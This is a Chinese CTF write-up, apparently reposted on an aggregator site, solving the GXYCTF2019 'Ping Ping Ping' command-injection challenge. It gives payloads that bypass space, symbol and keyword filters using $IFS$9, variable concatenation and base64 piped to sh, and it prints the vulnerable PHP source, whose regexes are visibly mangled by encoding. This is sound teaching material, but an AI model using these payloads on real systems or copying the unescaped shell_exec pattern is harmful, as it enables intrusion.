[BUUOJ记录] [GXYCTF2019]Ping Ping Ping

Posted yesec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BUUOJ记录] [GXYCTF2019]Ping Ping Ping相关的知识,希望对你有一定的参考价值。

主要考察RCE的防护绕过,感觉考的还是比较全的

先构造Payload:

?ip=127.0.0.1;ls

技术图片

看到目录下有两个文件,fuzz一下发现过滤了 空格 / + * ? { } ( ) [ ]等符号以及Flag字符串,fuzz出这些就会发现=和$没有过滤

所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b

然后发现还是被过滤了Flag,猜测后端应该是对最终构成的语句进行了正则匹配,但是可以读取到index.php

<?php
if(isset($_GET[‘ip‘])){
  $ip = $_GET[‘ip‘];
  if(preg_match("/&|/|?|*|<|[x{00}-x{1f}]|>|‘|"||(|)|[|]|{|}/", $ip, $match)){
    echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|‘|"||(|)|[|]|{|}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

这里还是想说一个坑:RCE读取PHP文件时,一定要从源代码看,因为PHP不能被解析!

过滤了bash,可以用sh命令来实现,然后使用base64编码来绕过关键词的验证,构造Payload:

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh

查看源代码获得Flag:

技术图片

 

以上是关于[BUUOJ记录] [GXYCTF2019]Ping Ping Ping的主要内容,如果未能解决你的问题,请参考以下文章

[GXYCTF2019] MISC杂项题

WEB漏洞攻防 - 文件上传漏洞 - CTF比赛类应用场景 - [GXYCTF2019]BabyUpload

[BUUOJ记录] [强网杯 2019]随便注(三种方法)

[BUUOJ记录] [CISCN 2019 初赛]Love Math

[GXYCTF2019]BabysqliV3.0-phar反序列化正解

BUUCTF | [GXYCTF2019]BabySQli